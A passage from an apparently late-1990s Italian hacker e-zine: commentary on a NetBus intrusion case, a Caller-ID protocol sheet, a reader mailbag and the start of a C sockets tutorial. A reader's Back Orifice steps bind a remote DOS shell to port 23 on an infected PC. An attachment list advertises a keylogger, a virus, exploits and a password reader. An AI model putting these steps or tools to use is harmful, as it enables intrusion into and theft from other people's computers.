>questa settimana con una notizia della stampa locale (Unione Sarda)
>che riporta la notizia di un ragazzo che giocando con Internet si e'
>messo nei guai, concediamo al cronista l'uso del termine Hacker anche
>se lo riteniamo improprio, in quanto chiunque utilizzando programmi
>che si trovano facilmente sulla rete e' in grado di improvvisarvi
>pirata telematico. Gli hacker sono ben altra cosa e hanno ben altre
>conoscenze ed abilita'.

E' il primo giornalista che vedo che sa distinguere un vero hacker da un
lamer...ma aspettiamo x giudicare il tipo che hanno preso :)
Cmq complimenti al giornalista xche' ha dimostrato di capire la differenza
tra chi e' spinto dalla conoscenza e da chi vuole solo fare il figo e/o mona!

>Comunque meditate!! Uno scherzo si puo' anche farlo agli amici ma
>effettuarlo sistematicamente e su larga scala ai danni di sconosciuti
>porta a conseguenze penali decisamente pesanti.

Chi sbaglia paga...

>E come vedete l'autorita' e' oramai preparata ad intervenire per
>tutelare i cittadini anche quando navigano sulla rete ed e' sensibile
>alle segnalazioni.

Infatti il NOPT e' attivo come e' vero che io sono un hacker! :P

-----------------------------------------------------------------------

>L'hacker denunciato e' un geometra cagliaritano di 25 anni

Sottolineo quell'"hacker"...

>Files rubati ai computer dei "navigatori" grazie al virus diffuso su
>Internet

Virus? che virus sara'???

>Meglio non fermarsi a chiacchierare con gli sconosciuti, soprattutto
>sulle chat-line di Internet. L'hanno imparato a proprie spese numerosi
>abbonati a diversi provider nazionali, ai quali un hacker cagliaritano
>di 25 anni ha sottratto, durante la navigazione, gli identificativi e
>le password per collegarsi in rete. Visto che c'era, G. F., geometra
>disoccupato, ha fatto di piu': dal disco fisso dei computer delle
>vittime, ha portato via documenti e fotografie digitalizzate, creando
>seri danni e violando la privacy dei malcapitati. Il "capolavoro", del
>quale andava particolarmente fiero, era lo "scherzetto" organizzato ai
>danni di un perito assicurativo: l'uomo e' trasecolato, quando sul suo
>monitor e' comparsa la scritta "Il computer e' stanco".

Caxxo ma come avra' mai fatto questo genio hacker??????

>Ingegneri, avvocati, docenti universitari e studenti, caduti nella
>trappola del geometra, si sono rivolti ai carabinieri, che hanno
>individuato l'hacker. Ottenuto un mandato di perquisizione, i militari
>del Nucleo operativo della Compagnia hanno bussato alla porta di G. F.

che ha risposto "No grazie non compro niente" hihihi

>(che nel web era conosciuto col soprannome di "Harris"). Il giovane e'

Mi che ppppppaura!!! Il conte Drac...ehm...Harris!!!!!!!!!!!!

>stato denunciato per una sfilza di reati che vanno dall'accesso
>abusivo ai sistemi informatici alla diffusione di codici segreti,
>dalla sostituzione di persona alla violazione della tutela dei
>programmi per elaboratori, passando per la diffusione di software in
>grado di danneggiare i computer.

Ma sto cax di virus cosa sara' mai????

>"Harris", spiega il tenente Saverio Spoto, comandante della Compagnia
>dei carabinieri, contattava le sue vittime attraverso Icq, un area di
>conversazione offerta da numerosi provider di Internet. Utilizzando

Sono i provider a offrire icq? Non sono competente in materia ma non
credo proprio che siano i provider...

>una chiave d'accesso acquistata fornendo generalita' false, durante le
>"chiacchierate scritte" G. F. inviava ai computer delle vittime il
>virus Netbus, che consente di "navigare" nel disco fisso dei computer
>altrui durante il collegamento a Internet. Harris aveva anche un

uhhhhhhhhhhh!!!!! il famoso virus Netbus!!!!! Un vero e proprio virus!!!
Certo c'era bisogno di specificare, magari uno pensava che consentisse di
navigare nel disco fisso dei computer altrui finito il collegamento a
Internet! A computer spento magari!!!

>proprio sito, nel quale offriva foto pornografiche, programmi-pirata e
>files di ogni genere: chi si collegava al suo indirizzo, veniva
>immediatamente contagiato dal virus informatico.

Allora non e' una stronzata il fatto che il 44% degli italiani usano
Internet solo x andare su siti XXX ... e che il 32% lo usa x cercare e
scaricarsi software pirata ... ahahahah

>Ottenuto l'accesso ai computer delle persone contattate in rete,
>spiega il tenente Spoto, il giovane si impadroniva dell'identificativo
>e della password segreta, utilizzati dalle vittime per collegarsi alla
>rete: ne aveva alcune decine. Era solo l'inizio: subito dopo, iniziava

Cavolo!!! Alcune decine!!! Quanto vorrei diventare un vero hacker come lui
;) hihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihihi

>il furto di files e foto digitali, che sparivano misteriosamente dagli
>hard disk dei proprietari e finivano su quello di G. F. Che uso
>intendesse farne, ancora non si sa: i carabinieri sospettano che il
>pirata informatico abbia forzato anche i sistemi di uffici pubblici e
>professionisti, entrando cosi' in possesso di dati estremamente
>riservati.
>Gli investigatori non spiegano come, ma alla fine sono riusciti a

Certo che e' difficile leggere un ip in qualke log file, andare dalla tin
e dire "Scusi chi e' questo x.x.x.x ???" Ricordatevi che nella polizia ci
sono solo ex-smanettoni o ex-hacker che cosa credevate ;)))))))))))))

>identificare il geometra, che ora rischia una condanna fra uno e
>cinque anni di carcere. Dal comandante della Compagnia, partono ora

Da uno a cinque anni...se ti prendono a usare bo netbus e altri 10 trojan
che ti danno 60 anni di carcere?

>due appelli: I frequentatori dell'Icq farebbero bene a fare una
>scansione del disco fisso, con un antivirus aggiornato. Chi ha avuto
>contatti con Harris, se ha il dubbio che i suoi archivi siano stati
>forzati, venga a trovarci al Comando. L'indirizzo, stavolta non
>telematico, e' via Nuoro 9 Cagliari.

> LUIGI ALMIENTO

Per questo numero e' tutto questo art vi e' stato segnalato da me cioe' io
che sono il mitico (non molto in verita') 3uC@50L. Spero che ognuno di voi
possa capire se quello che e' stato preso era un hacker o un lamer...cmq
a voi l'ardua scelta... e speriamo che queste parole non siano buttate al
vento come foglie d'autunno...
3uC@50L

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ L'ANGOLO DELLA POSTA ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Mailzz viva i lettori:

From: sichermn@beach.csulb.edu (Jeff Sicherman)
Subject: Caller-ID Specifications

This is a copy of the data sheet picked up at the Rockwell
booth at the COMDEX show.

INTRODUCTION

Calling Number Delivery (CND), better known as Caller ID, is a
telephone service intended for residential and small business
customers. It allows the called Customer Premises Equipment (CPE) to
receive a calling party's directory number and the date and time of
the call during the first four second silent interval in the ringing
cycle. The customer must contact a Bellcore Client Company to
initiate CND service.

According to Pacific Bell representatives, the following states and
district currently support CND service: Delaware, District of
Columbia, Florida, Georgia, Idaho, Kentucky, Louisiana, Maine,
Maryland, Nebraska, Nevada, New Jersey, Oklahoma, Tennessee, Vermont,
Virginia, and West Virginia.

The following states are scheduled to support CND service by April,
1992: Alaska, Arizona, California, Colorado, Illinois, Indiana, Iowa,
Massachusetts, Mississippi, New Hampshire, New York, North Carolina,
North Dakota, Ohio, Oregon, Rhode Island, and South Carolina.

PARAMETERS

The data signalling interface has the following characteristics:
Link Type: 2-wire, simplex
Transmission Scheme: Analog, phase-coherent FSK
Logical 1 (mark) 1200 +/- 12 Hz
Logical 0 (space) 2200 +/- 22 Hz
Transmission Rate: 1200 bps
Transmission Level: 13.5 +/- dBm into 900 ohm load

(I have copied this data as presented. I believe the transmission
level is meant to be -13.5 dBm.)

PROTOCOL

The protocol uses 8-bit data words (bytes), each bounded by a start
bit and a stop bit. The CND message uses the Single Data Message
format shown below.

Channel Carrier Message Message Data Checksum
Seizure Signal Type Length Word(s) Word
Signal Word Word

CHANNEL SEIZURE SIGNAL

The channel seizure is 30 continuous bytes of 55h (01010101) providing
a detectable alternating function to the CPE (i.e. the modem data
pump).

CARRIER SIGNAL

The carrier signal consists of 130 +/- 25 mS of mark (1200 Hz) to
condition the receiver for data.

MESSAGE TYPE WORD

The message type word indicates the service and capability associated
with the data message. The message type word for CND is 04h
(00000100).

MESSAGE LENGTH WORD

The message length word specifies the total number of data words
to follow.

DATA WORDS

The data words are encoded in ASCII and represent the following
information:

o The first two words represent the month
o The next two words represent the day of the month
o The next two words represent the hour in local military time
o The next two words represent the minute after the hour
o The calling party's directory number is represented by the
remaining words in the data word field

If the calling party's directory number is not available to the
terminating central office, the data word field contains an ASCII "O".
If the calling party invokes the privacy capability, the data word
field contains an ASCII "P".

CHECKSUM WORD

The Checksum Word contains the twos complement of the modulo 256
sum of the other words in the data message (i.e., message type,
message length, and data words). The receiving equipment may
calculate the modulo 256 sum of the received words and add this
sum to the reveived checksum word. A result of zero generally
indicates that the message was correctly received. Message
retransmission is not supported.

EXAMPLE CND SINGLE DATA MESSAGE

An example of a received CND message, beginning with the message
type word, follows:

04 12 30 39 33 30 31 32 32 34 36 30 39 35 35 35 31 32 31 32 51

04h= Calling number delivery information code (message type word)
12h= 18 decimal; Number of data words (date,time, and directory
number words)
ASCII 30,39= 09; September
ASCII 33,30= 30; 30th day
ASCII 31,32= 12; 12:00 PM
ASCII 32,34= 24; 24 minutes (i.e., 12:24 PM)
ASCII 36,30,39,35,35,35,31,32,31,32= (609) 555-1212; calling
party's directory number
51h= Checksum Word

DATA ACCESS ARRANGEMENT (DAA) REQUIREMENTS

To receive CND information, the modem monitors the phone line between
the first and second ring bursts without causing the DAA to go off
hook in the conventional sense, which would inhibit the transmission
of CND by the local central office. A simple modification to an
existing DAA circuit easily accomplishes the task.

(I will mail the Rockwell data sheet, which includes the suggested
schematic diagram.)

MODEM REQUIREMENTS

Although the data signalling interface parameters match those of a
Bell 202 modem, the receiving CPE need not be a Bell 202 modem. A
V.23 1200 bps modem receiver may be used to demodulate the Bell 202
signal. The ring indicate bit (RI) may be used on a modem to indicate
when to monitor the phone line for CND information. After the RI bit
sets, indicating the first ring burst, the host waits for the RI bit
to reset. The host then configures the modem to monitor the phone
line for CND information.

(I'm skipping some Rockwell-specific information here.)

According to Bellcore specifications, CND signalling starts as early
as 300 mS after the first ring burst and ends at least 475 mS before
the second ring burst.

APPLICATIONS
Modem manufacturers will soon be implementing new modem features
based on CND information as this service becomes widely
available.

Once CND information is received the user may process the
information in a number of ways.

1. The date, time, and calling party's directory number can be
displayed.

2. Using a look-up table, the calling party's directory number
can be correlated with his or her name and the name
displayed.

3. CND information can also be used in additional ways such as
for:

a. Bulletin board applications
b. Black-listing applications
c. Keeping logs of system user calls, or
d. Implementing a telemarketing data base

REFERENCES
For more information on Calling Number Delivery (CND), refer to
Bellcore publications TR-TSY-000030 and TR-TSY-000031.

To obtain Bellcore documents contact:

Bellcore Customer Service
60 New England Avenue, Room 1B252
Piscataway, NJ 08834-4196
(201) 699-5800

-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Ciao Zero Cool,
com'e' Praga? E le ceche??eh!eh!
Cmq ti volevo dire che avrei scritto una articoletto su 3 semplici backdoors
(aggiungere un user,manipolare .rhosts e inetd.conf per crearsi una porta..
cose che saprai a memoria) e mi chiedevo se le potevo mettere su Newbies nø2.
Se non posso dimmelo pure che non mi offendo! Poi ti volevo chiedere qualche
informazione su come e' strutturata la crew, chi sono i piu' bravi ecc.
Byez,

Hamelin

Re: si il tuo articolo e' ben accetto scusa se lo scrivo qua ed ora ma non
trovo la tua mail proprio + e il txt con su scritto cio'e'l' unica cosa
che mi e'rimasta fatti sentire ZeroCool
Re: l'art di Hamelin e' presente su questo numero :))) alla fine ci ha
ribeccati lui eheheheh N0bodY88

-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Ciao zero, ascolta,

Ho un amico che fa il sistemista ed e'in grado di controllare il traffico
delle linee telefoniche !
Se io gli do dei numeri verdi e lui scopre che ci si collega sempre un sacco
di gente, significa che il GREEN e' piuttosto sicuro oppure il contrario ?
Andrew Coleman

Re: si mi farebbe piacere ricevere solo dei manuali e dei txt sulle linee
telefoniche per quanto riguarda i green non ne voglio proprio sapere
ZeroCool

-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Vorrei esprimere la mia ammirazione verso il vostro fantastico gruppo

Vai ragazzi siete i migliori

Coda

RE: stragrazie millexxxxx ZeroCool
RE: oddio questo chissa' che si e' bevuto prima di sedersi davanti al computer
..o avra' fumato??? hihihi tnx cmq ricorda che e' un lavoro di squadra
nonostante ci siamo io e zero (e dal prox num nosferatu) come "capi", noi
siamo solo dei coordinatori e questa e-zine e' bella imo xche' non e' mia
o tua e' un po' di tutti ognuno la sente propria e x questo vuole miglio
rarla dando il meglio di se' coi propri articoli N0bodY88

-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

ciao zerocool sono un ragazzo che ne vuole sapere un pacco ma che, come te,
capisce poco l'inglese.
navigando ho trovato molti siti sull'hacking ma il piu' chiaro e' sicuramente
il vostro perche' e' in italiano e spiega testualmente na frega (molte) di
cose.
un po sto a lecca': non sono uno che ottiene le cose leccando il culo su irc
ma, visto che sembri molto disponibile, ti chiedo una cosa proprio da + lamer
che non si puo':
-cos'e' un volmetro? (non so manco se e' software o hardware)
per ora mi interesso dei green perche' appena ne trovero' uno potro dedicarmi
alla navigazione serrata per trovare strafigherie.

una cosa tra amici: una volta che c'ho il green che cazzo devo scriverci nella
user e password??????????

se mi rispondi sei un grande mo vengo sui vostri chan IRC
ciao:):)

RE: ciao grazie per i complimenti [ps ho un'inglesina che mi sta dando
lezioni di lingua e penso di poter avere un livello accettabile ] ;
per quanto riguarda un volmetro che so' io e' a livello hardware e per
quanto riguarda i green se vuoi un consiglio lasciali perdere o rischi
di fare una brutta fine ZeroCool

PS DI N0bodY88 = cosa intendevi zero con la frase "Ho un inglesina che mi sta
dando lezioni di lingua"
??? Ahhh io e i miei doppisensi... hihihi

-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Ola....ho visto il tuo indirizzo sulla pagina web http://www.newbies.tsx.org/
e visto che non so a chi rivolgermi spero in un tuo aiuto...
Questo e' il problema:
voglio lanciare Boclient (quello per Dos) su un pc di un boservizato da una
shell dos, in modo che i comandi indirizzati ad un secondo boservizato
partano da quel PC e non dal proprio....
il mio problema e' che non riesco a far eseguire boclient al primo pc..
Questa e' la procedura che seguo:
1-Appadd command.com 23
2-apro telenet
3-lancio boclient.exe (devo mettere qualche parametro?)
e mi si inchioda qui Telnet....ma se faccio un process list vedo il processo
attivo....
Ho provato a lanciare direttamente anche Appadd c:\boclient.exe 23
ma quando apro telent sulla porta 23 non risponde niente ;-(
Che devo fare?....Ma si puo fare una cosa del genere?
Ho fatto mille prove....ma il risultato e' sempre quello ;-(
byez
Snafuz

RE: Ciao in questo numero dell'ezines ci dovrebbe essere la risposta per la
tua domanda

-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

"ah na cosa sapete che esiste un sito in internet con tutti i numeri verdi
esitenti italiani [nooo] e anche quelli non doumentati nelle guide [nooooo]
si , bhe ma ci vuole un caro account se qualcuno e' disposto ad aiutarmi
nel trovarlo mi contatti [kokok@tin.it] ah gia' il sito in questione si
chiama http://12online.tin.it ... ciao a tutti
ZeroCool"


Che sappia io non ci sono quelli non documentati nelle guide...sorry.

Blum
blum@cybergal.com

RE: Mha a me han detto cosi'cmq magari sbaglio cmq e'un argomento che non mi
interessa piu'cmq colgo l'occasione per salutarti sei miticissimo ZeroCool

-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Ciao Sono Uncle Jack, vi sto seguendo su ahccc da due mesi circa ed esco dall
ombra per due motivi:

Innanzi tutto complimenti per il primo numero dell' E-ZINE
L'ho scaricato stampato e letto nel giro di una sera!!!!
Spero che le uscite continuino anche se penso che non sia un lavoro da poco
mettere insieme un lavoro di quelle dimensioni.
Comunque sono in attesa del secondo numero ;-))

Secondo ho letto il post di Newbie 1,1 riguardo il futuro di ahccc e condivido
il pensiero che negli ultimi periodi e' scaduto parecchio di qualita', io mi
sono ridotto a leggere solo i post di alcuni di voi lasciando perdere il
resto.
Trovo quindi FANTASTICA l' idea della mailing list e siccome sul Vs. sito la
pagina e' in costruzione........e non e' meglio specificato a chi rivolgersi,
chiedo a voi ma e' come se lo chidessi a tutto il gruppo se per cortesia mi
voleste inserire nella lista consentendomi di continuare a seguire i post di
gente che ha contribuito a risvegliare la mia curiosita di studiare ed
imparare (NB. ho 32 anni e il mio primo login risale all aprile 1992 poi per
motivi di lavoro e famiglia ho dovuto mollare ho ripreso grazie a voi).

Nella speranza di poter sedere alla vostra tavola per poter appagare
la mia sete di sapere vi saluto.

RE: Non ho parole sei strabenvenuto da noi e la mailing list e' gia'attiva
ZeroCool

-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

hi ZeroCool, volevo avvertirti che nel tuo sito non ci sono i "testi
tradotti"
, potresti mandarmi i testi via e-mail o darmi un indirizzo dove
possa trovare questi testi?

RE: Il nostro traduttore ufficiale si sta dando da fare al riguardo ZeroCool
RE: Tutti le traduzioni sono sempre state messe nelle e-zine fino adesso, ma
appena rifacciamo il sito faremo la page traduzioni N0bodY88

-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

scusa , ti volevo anche chiedere se potevo pubblicare la vostra rivista sul
mio sito , come.to/lopks con la "rivista" della precedente mail intendevo
dire la e-zine di ZeroCool e N0bodY88 .....

by lopks

RE: certo te la mandero'al + presto . ZeroCool

-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ RIEPILOGO LINK IN ORDINE ALFABETICO ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

[ D.I.B. ----------------------------------------------> http://come.to/dib ]
[ NetRunners ---------------------> http://members.tripod.com/~teresacanis/ ]
[ NewBies -----------------------------------------> http://newbies.tsx.org ]
[ RingZ3rO ---------------------------------------> http://ringzer0.cjb.net ]
[ Softpj -------------------------------> http://softpj98.bbk.org/main.html ]
[ Spaghetti Phreakers -----------------> http://come.to/spaghettiphreakers/ ]
[ Spippolatori -------------------------------> http://www.spippolatori.com ]
[ Vana - Imago ------------------> http:/members.xoom.com/eripper/index.htm ]

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°°°°°°°°°°°°°°°°°ÛÛ°°°°ÛÛ°°°°ÛÛÛÛ°°ÛÛÛÛÛÛÛ°°°°°°°°ÛÛÛÛÛÛÛÛÛÛÛÛÛ°Û°°°°°°°°°°°°²
²°°°°°°°°°°°ÛÛÛ°°°°ÛÛ°°°°ÛÛ°°°°ÛÛ°°°°ÛÛ°°°°°°°°°ÛÛÛ°°°°°°ÛÛÛ°°°°°°°°°°°°°°°°°°°²
²°°°°°°°°°°ÛÛ²ÛÛ°°°ÛÛ°°°°ÛÛ°°°°ÛÛÛÛ°°ÛÛ°ÛÛÛÛ°°°ÛÛ²ÛÛ°°°°°ÛÛÛ°°°°ÛÛÛ°°°°°°°°°°°°²
²°°°°°°°°°ÛÛÛÛÛÛÛ°°ÛÛ°°°°ÛÛ°°°°ÛÛ°°°°ÛÛ°°°ÛÛ°°ÛÛÛÛÛÛÛ°°°°ÛÛÛ°°°°ÛÛÛ°°°°°°°°°°°°²
²°°°°°°°°ÛÛ°°°°°ÛÛ°ÛÛÛÛÛ°ÛÛÛÛÛ°ÛÛÛÛ°°ÛÛÛÛÛÛÛ°ÛÛ°°°°°ÛÛ°°°ÛÛÛ°°°°ÛÛÛ°°°°°°°°°°°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

2 PAROLE SUGLI ALLEGATI:

- anti-s.zip = file con altri 5 doc presi dalla mitica guida fatta da
Anti-Social.

- AntiMelissa = questa e' una voce di registro che se aggiunta al ns registry
ci rende non attaccabili dal tanto decantato melissa.Tnx Sephy

- cmanager.exe = programmino usato in alcuni netcafe e del quale unlt ci ha
fatto lieto dono :))), trovate una descrizione del prog nella
sezione "hacking e altro" dove ulnt spiega tutto quello che
sa sui netcafe :-)))))))

- CookBook = zip con il (speriamo diventi) famoso CookBook di ElectroRipper
in anteprima x NewBies da uno dei + attivi degli scrittori della
ns e-zine.

- file3ds.zerocool = file 3ds attinente all'articolo in cui ZeroCool parla di
programmazione di demo x nintendo 64.

- Guida di Kalidor all'hacking per Win95-98.zip = file contenente la guida
fatta dal mitico Kalidor.

- IcqExploit.htm = questo e' un file fatto da Sephy il cui uso e' spiegato nel
suo articolo intitolato ICQ EXPLOIT.

- italiano.lng = Traduce netbus 2 dall'inglese all'italiano... inseritelo
nella dir LANG e fate opzioni nel menu di netbus...by Sephy

- KeyLogger.zip = come capirete dal nome (ma no!) questa e' un keylogger (ma
va!) che Sephy ci spiega ad usare in uno dei suo articoli,
e cmq trovate la documentazione all'interno se avete fretta
di usarlo.

- naggabox.zip e omega.zip = file in cui sono riportati gli schemi di una blue
box che nonstante se ne dica secondo me funziona
ankoroggi qui in italia ;-)

- NetBusEliminator = utile programmino fatto dal ns Quequero che praticamente
va a modificare le proprieta' del server di NetBus
cosicche' se siete infetti vedrete il server caricarsi
al riavvio del pc senza che lo stesso sia + nascosto,
individuandone quindi anke il nome. Un tnx 1000 a
Quequero da parte di tutti noi.

- NetbusICO.zip = alcune icone da usare secondo quanto spiegato da Sephy in uno
dei suo articoli (ma quanti ne ha fatti sto qua??? hihihi)

- newbies.asm = virus fatto da Caos83 e provato nella sua scuola, se avete un
po' di cultura di so e hacking installatevelo e provate a
rispondere alle domande che vi verranno poste ;-)

- r0_pesentry.zip = file zip che e' collegato all'articolo di Kill3xx (dei
Ring0...i migliori!)

- rain10.zip = file accluso xche' chiamato in causa da SoftWord x il suo
articolo sull'overclock;

- SourceCode.zip = file contenenti info e codice che ©ipLey ha spiegato (si
proprio l'articolo dove si spiega come fare una backdoor!)

- supporti.zip = file allegato con i sorgenti, l'exe e molti .pas moooooooolto
interessanti dei quali Master parla nel suo articolo ^______^

- zerocool.zip = file contenente una serie di exploits forntici dal ns mitico
redattore, un prog x leggere le pass del prog CuteFtp e un
paio di immagini da luis elezionate eheheh.

N0bodY88

PS DELL'ULTIMO MINUTO:dato che non so quanti di voi hanno voglia di scaricarsi
una e-zine di un 1 mega e mezzo, abbiamo deciso di
dividere la e-zine in 2 zip, 1 contenente questa e-zine
e altri articoli o guide, mentre nell'altro trovate i
prog che son sopra elencati, ma questo non vuol dire che
non dovete scarcarli entrambi :PPP N0bodY88

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°ÛÛÛÛÛÛÛÛÛÛÛÛÛ°°°ÛÛ°ÛÛÛÛÛÛÛÛÛÛÛÛÛ°ÛÛÛÛÛÛÛÛ°ÛÛÛÛÛÛ°°ÛÛ°°°°°°°°°°°°°ÛÛ°°°°°°°²
²°°°°°°°ÛÛÛ°°°°°°°°ÛÛ°°°°°°ÛÛÛ°°°°°°ÛÛ²²²²ÛÛ°ÛÛ²²ÛÛ°°°°°°°°°°ÛÛÛ°°°°ÛÛ°°°°°°°²
²°°°°°°°ÛÛÛ°°°ÛÛ°°°ÛÛ°°°°°°ÛÛÛ°°°°°°ÛÛ²²²²ÛÛ°ÛÛÛÛ°°°°ÛÛ°°°°°ÛÛ²ÛÛ°°°ÛÛ°°°°°°°²
²°°°°°°°ÛÛÛ°°°ÛÛ°°°ÛÛ°°°°°°ÛÛÛ°°°°°°ÛÛ²²²²ÛÛ°ÛÛ°ÛÛ°°°ÛÛ°°°°ÛÛÛÛÛÛÛ°°ÛÛ°°°°°°°²
²°°°°°°°ÛÛÛ°°°ÛÛÛÛÛÛÛ°°°°°°ÛÛÛ°°°°°°ÛÛÛÛÛÛÛÛ°ÛÛ°°ÛÛ°°ÛÛ°°°ÛÛ°°°°°ÛÛ°ÛÛÛÛÛÛ°°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÕÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͸
³ ::::::::::::::::::::::::::: |
ÆÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͵
³ Titolo: Corso di C - III Parte³
ÆÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͵
³ di : ElectroRipper ³
ÆÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͵
³ Scritto il : 21/4/99 ³
ÆÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͵
³ Pericolo: Û°°°°°°°°° ³
ÔÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;


E L E C T R O R I P P E R

P R E S E N T A

C O R S O D I C

I I I P U N T A T A



Stavolta parliamo dei...socket!

Oramai dovreste avere un'idea generale del linguaggio e di come programmare in
C, semplici applicazioni, dopo aver letto le prime due puntate di questo
corso, riguardanti la prima la sintassi di base, e la seconda la gestione dei
files, quindi stavolta tratteremo un argomento un po' piu' specifico.
Dato che e' un argomento lunghetto lo divideremo in due puntate.
Un socket altro non e' che un cazzariello che gestisce per noi le parti piu'
a basso livello di una connessione, lasciandoci cosi' liberi di pensare al
programma e risparmiandoci un casino di fatica.
Faro' riferimento a Unix e Linux ma in Windows non dovrebbe cambiare molto.

Ecco gli headers che dovrete includere nei vostri programmi per il supporto
dei socket di base :

sys/socket.h
sys/types.h
netinet/in.h
netdb.h

Per Windows95 la libreria che si occupa della gestione dei socket e'
wsock32.dll

Un socket viene riconosciuto dal C per il suo descriptor. Proprio come un file
infatti un socket ha un numero intero che lo identifica, e glielo assegniamo
con la funzione socket, che usa la seguente sintassi :

  
int socket(int domain, int type, int protocol);


Ecco le costanti piu' comuni da passare come domain :

AF_UNIX (protocolli interni Unix)
AF_INET (protocolli internet ARPA)
AF_ISO (protocolli ISO)


Come type potete usare invece :

SOCK_STREAM (TCP)
SOCK_DGRAM (UDP)
SOCK_RAW (Il programma stesso costruisce i pacchetti)


Come protocol potete passare 0 in modo che scelga automaticamente quello +
adatto.
L'int restituito sara' appunto il descriptor del socket che abbiamo appena
creato.
Poi dobbiamo comunicare al socket a quale indirizzo collegarsi e su quale
porta e per farlo utilizziamo la struttura sockaddr, o meglio la struttura
sockaddr_in con un cast.

struct sockaddr_in{
short sin_family;
short sin_port;
struct in_addr sin_addr
}

sin_addr e' una struttura di tipo in_addr, cioe'...

struct in_addr{
long s_addr;
}


In sin_family potete schiaffarci AF_INET, sin_port e' la porta, e sin_addr e'
